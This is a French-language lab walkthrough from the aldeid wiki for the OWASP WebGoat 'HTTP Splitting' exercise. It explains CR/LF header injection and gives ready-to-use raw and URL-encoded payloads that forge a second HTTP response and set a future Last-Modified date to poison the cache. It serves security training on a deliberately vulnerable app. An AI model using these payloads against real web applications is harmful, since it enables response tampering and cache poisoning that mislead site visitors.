OWASP WebGoat:HTTP Splitting

From aldeid
Jump to navigation Jump to search

HTTP Splitting

L'objectif de cet exercice est de montrer comment exploiter un champ de formulaire afin d'y injecter du contenu non initialement prévu.

En exploitant les caractères sauts de ligne du type CR (Carriage Return avec %0d ou \r) et LF (Line Feed avec %0a ou \n), il est possible de modifier et ajouter des en-têtes et le corps de la réponse.

Première étape

Pour ce faire, nous allons entrer le texte suivant dans le champ "Search by country" :

fr
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47

<html>You've been hacked</html>

Afin qu'il entre sur une seule ligne, nous le formatons en remplaçant les espaces par "%20" et les sauts de ligne par %0d%0a (pour Windows) ou %0a (pour Linux). Cela nous fourni la chaîne suivante :

fr%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0a<html>You've%20been%20hacked</html>
Note
Si WebGoat est hébergé sous Windows, remplacez les %0a par %0d%0a.

Deuxième étape

Dans cette deuxième étape, nous allons forcer le serveur à recharger le contenu de son cache en modifiant la date de la page (date future), grâce au champ "Last-Modified".

La date initiale est la suivante :

Pour ce faire, nous allons ajouter une ligne à la chaîne précédente. L'objectif est de modifier la date afin de la reporter dans le futur :

fr
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 06 Jun 2016 00:00:00 GMT
Content-Length: 47

<html>You've been hacked</html>

Soit, sur une seule ligne :

fr%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aLast-Modified:%20Mon,%2006%20Jun%202016%2000:00:00%20GMT%0aContent-Length:%2047%0a%0a<html>You've%20been%20hacked</html>

Une fois l'exercice terminé, vous devriez obtenir l'écran suivant :